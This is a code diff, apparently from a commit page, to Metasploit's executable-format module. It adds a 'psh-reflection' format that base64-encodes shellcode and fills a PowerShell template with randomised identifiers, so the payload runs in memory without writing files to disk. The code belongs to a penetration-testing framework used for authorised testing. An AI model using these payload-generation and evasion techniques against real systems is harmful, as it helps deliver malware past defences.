@@ -782,7 +782,7 @@ def self.to_exe_vba(exes='')
782
782
return read_replace_script_template ( "to_exe.vba.template" , hash_sub )
783
783
end
784
784
785
- def self . to_vba ( framework , code , opts = { } )
785
+ def self . to_vba ( framework , code , opts = { } )
786
786
hash_sub = { }
787
787
hash_sub [ :var_myByte ] = Rex ::Text . rand_text_alpha ( rand ( 7 ) +3 ) . capitalize
788
788
hash_sub [ :var_myArray ] = Rex ::Text . rand_text_alpha ( rand ( 7 ) +3 ) . capitalize
@@ -920,6 +920,33 @@ def self.to_win32pe_psh(framework, code, opts={})
920
920
return read_replace_script_template ( "to_mem_old.ps1.template" , hash_sub ) . gsub ( /(?<!\r )\n / , "\r \n " )
921
921
end
922
922
923
+ #
924
+ # Reflection technique prevents the temporary .cs file being created for the .NET compiler
925
+ # Tweaked by shellster
926
+ # Originally from PowerSploit
927
+ #
928
+ def self . to_win32pe_psh_reflection ( framework , code , opts = { } )
929
+ # Intialize rig and value names
930
+ rig = Rex ::RandomIdentifierGenerator . new ( )
931
+ rig . init_var ( :func_get_proc_address )
932
+ rig . init_var ( :func_get_delegate_type )
933
+ rig . init_var ( :var_code )
934
+ rig . init_var ( :var_module )
935
+ rig . init_var ( :var_procedure )
936
+ rig . init_var ( :var_unsafe_native_methods )
937
+ rig . init_var ( :var_parameters )
938
+ rig . init_var ( :var_return_type )
939
+ rig . init_var ( :var_type_builder )
940
+ rig . init_var ( :var_buffer )
941
+ rig . init_var ( :var_hthread )
942
+
943
+ hash_sub = rig . to_h
944
+
945
+ hash_sub [ :b64shellcode ] = Rex ::Text . encode_base64 ( code )
946
+
947
+ return read_replace_script_template ( "to_mem_pshreflection.ps1.template" , hash_sub ) . gsub ( /(?<!\r )\n / , "\r \n " )
948
+ end
949
+
923
950
def self . to_win32pe_vbs ( framework , code , opts = { } )
924
951
to_exe_vbs ( to_win32pe ( framework , code , opts ) , opts )
925
952
end
@@ -1712,6 +1739,9 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
1712
1739
1713
1740
when 'psh-net'
1714
1741
output = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , code , exeopts )
1742
+
1743
+ when 'psh-reflection'
1744
+ output = Msf ::Util ::EXE . to_win32pe_psh_reflection ( framework , code , exeopts )
1715
1745
1716
1746
end
1717
1747
@@ -1735,6 +1765,7 @@ def self.to_executable_fmt_formats
1735
1765
"msi-nouac" ,
1736
1766
"psh" ,
1737
1767
"psh-net" ,
1768
+ "psh-reflection" ,
1738
1769
"vba" ,
1739
1770
"vba-exe" ,
1740
1771
"vbs" ,
0 commit comments